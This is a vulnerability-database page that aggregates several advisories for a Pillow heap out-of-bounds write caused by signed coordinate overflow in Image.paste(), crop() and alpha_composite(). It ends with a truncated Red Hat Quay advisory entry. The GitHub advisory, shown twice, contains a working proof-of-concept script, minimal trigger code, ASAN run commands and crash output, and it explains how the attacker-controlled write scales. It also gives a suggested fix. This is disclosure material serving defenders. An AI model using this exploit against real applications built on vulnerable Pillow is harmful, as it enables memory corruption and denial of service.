Vulnerability-Lookup

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/pull/9703	x_refsource_MISC
https://github.com/python-pillow/Pillow/commit/ce…	x_refsource_MISC
https://github.com/python-pillow/Pillow/releases/…	x_refsource_MISC

Vendor	Product	Version
python-pillow	Pillow	Affected: < 12.3.0

bit-pillow-2026-59199

Vulnerability from bitnami_vulndb

Published

2026-07-15 08:54

Modified

2026-07-15 09:15

Summary

Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Bitnami",
        "name": "pillow",
        "purl": "pkg:bitnami/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59199"
  ],
  "database_specific": {
    "cpes": [
      "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*"
    ],
    "severity": "High"
  },
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.",
  "id": "BIT-pillow-2026-59199",
  "modified": "2026-07-15T09:15:52.837Z",
  "published": "2026-07-15T08:54:58.754Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
    }
  ],
  "schema_version": "1.6.2",
  "summary": "Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow"
}

FKIE_CVE-2026-59199

Vulnerability from fkie_nvd - Published: 2026-07-14 16:17 - Updated: 2026-07-15 16:16

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

References

URL	Tags
security-advisories@github.com	https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b	Patch
security-advisories@github.com	https://github.com/python-pillow/Pillow/pull/9703	Exploit, Issue Tracking, Patch
security-advisories@github.com	https://github.com/python-pillow/Pillow/releases/tag/12.3.0	Release Notes
security-advisories@github.com	https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	python	pillow	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 12.3.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6372231F-529B-45CD-978E-3F2AEFF5F95C",
              "versionEndExcluding": "12.3.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0."
    }
  ],
  "id": "CVE-2026-59199",
  "lastModified": "2026-07-15T16:16:49.487",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-59199",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T14:52:14.113156Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-14T16:17:01.937",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/python-pillow/Pillow/pull/9703"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-190"
        },
        {
          "lang": "en",
          "value": "CWE-787"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-787"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-6R8X-57C9-28J4

Vulnerability from github – Published: 2026-07-20 23:09 – Updated: 2026-07-20 23:09

Summary

Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow

Details

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 * W attacker-controlled bytes starting 4 * W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and Image.alpha_composite(). No private API, ctypes, custom Python object, or malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state.

Two other documented APIs reach the same sink:

# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it as b021_poc.py and run it with paste, crop, or alpha.

#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()


if __name__ == "__main__":
    main()

Run against an ASAN build:

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal Image.paste() trigger returns from paste() and then the process aborts during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite() paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090

Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:

int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
    return ImagingError_ValueError("bad box");
}

ImagingCrop() should receive the same treatment for sx1 - sx0, dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.

Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct Image.paste() variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For RGBA, the write is a backward heap underwrite whose offset and length are both 4 * source_width, bounded in practice by successful image allocation and heap layout.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:09:53Z",
    "nvd_published_at": "2026-07-14T16:17:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPillow\u0027s public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 \u003c\u003c 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 \u003c\u003c 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", \u0026source, \u0026x0, \u0026y0, \u0026x1, \u0026y1, ...);\nstatus = ImagingPaste(self-\u003eimage, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize \u003e imOut-\u003exsize) {\n    xsize = imOut-\u003exsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut-\u003eimage[y + dy] + dx, imIn-\u003eimage[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 \u003c\u003c 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -\u003e writes 8 bytes before the row\nW = 1024      -\u003e writes 4096 bytes before the row\nW = 65536     -\u003e writes 256 KiB before the row\nW = 1000000   -\u003e writes about 4 MiB before the row\n```\n\nPillow\u0027s image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 \u003c\u003c 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 \u003c\u003c 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 \u003c 0 || ysize64 \u003c 0 || xsize64 \u003e INT_MAX || ysize64 \u003e INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn-\u003exsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.",
  "id": "GHSA-6r8x-57c9-28j4",
  "modified": "2026-07-20T23:09:53Z",
  "published": "2026-07-20T23:09:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow"
}

PYSEC-2026-3451

Vulnerability from pysec - Published: 2026-07-14 16:17 - Updated: 2026-07-15 18:13

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
pillow	pkg:pypi/pillow

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow",
        "purl": "pkg:pypi/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0",
        "1.1",
        "1.2",
        "1.3",
        "1.4",
        "1.5",
        "1.6",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "1.7.8",
        "10.0.0",
        "10.0.1",
        "10.1.0",
        "10.2.0",
        "10.3.0",
        "10.4.0",
        "11.0.0",
        "11.1.0",
        "11.2.1",
        "11.3.0",
        "12.0.0",
        "12.1.0",
        "12.1.1",
        "12.2.0",
        "2.0.0",
        "2.1.0",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.7.0",
        "2.8.0",
        "2.8.1",
        "2.8.2",
        "2.9.0",
        "3.0.0",
        "3.1.0",
        "3.1.0.rc1",
        "3.1.0rc1",
        "3.1.1",
        "3.1.2",
        "3.2.0",
        "3.3.0",
        "3.3.1",
        "3.3.2",
        "3.3.3",
        "3.4.0",
        "3.4.1",
        "3.4.2",
        "4.0.0",
        "4.1.0",
        "4.1.1",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "5.0.0",
        "5.1.0",
        "5.2.0",
        "5.3.0",
        "5.4.0",
        "5.4.0.dev0",
        "5.4.1",
        "6.0.0",
        "6.1.0",
        "6.2.0",
        "6.2.1",
        "6.2.2",
        "7.0.0",
        "7.1.0",
        "7.1.1",
        "7.1.2",
        "7.2.0",
        "8.0.0",
        "8.0.1",
        "8.1.0",
        "8.1.1",
        "8.1.2",
        "8.2.0",
        "8.3.0",
        "8.3.1",
        "8.3.2",
        "8.4.0",
        "9.0.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.2.0",
        "9.3.0",
        "9.4.0",
        "9.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59199",
    "GHSA-6r8x-57c9-28j4"
  ],
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.",
  "id": "PYSEC-2026-3451",
  "modified": "2026-07-15T18:13:37.432772Z",
  "published": "2026-07-14T16:17:01.937Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/pull/9703"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

RHSA-2026:48933

Vulnerability from csaf_redhat - Published: 2026-07-30 20:01 - Updated: 2026-08-04 19:57

Summary

Red Hat Security Advisory: Red Hat Quay 3.15.7

Severity

Important

Notes

Topic: Red Hat Quay 3.15.7 is now available with bug fixes.

Details: Quay 3.15.7

Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

CVE-2026-13149

A flaw was found in brace-expansion. An attacker can exploit a vulnerability in the `expand()` function by providing a specially crafted string. This string, containing consecutive non-expanding brace groups, can trigger exponential-time complexity, leading to significant CPU consumption and event-loop blocking. This can result in a Denial of Service (DoS) for the affected system.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1333 - Inefficient Regular Expression Complexity

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
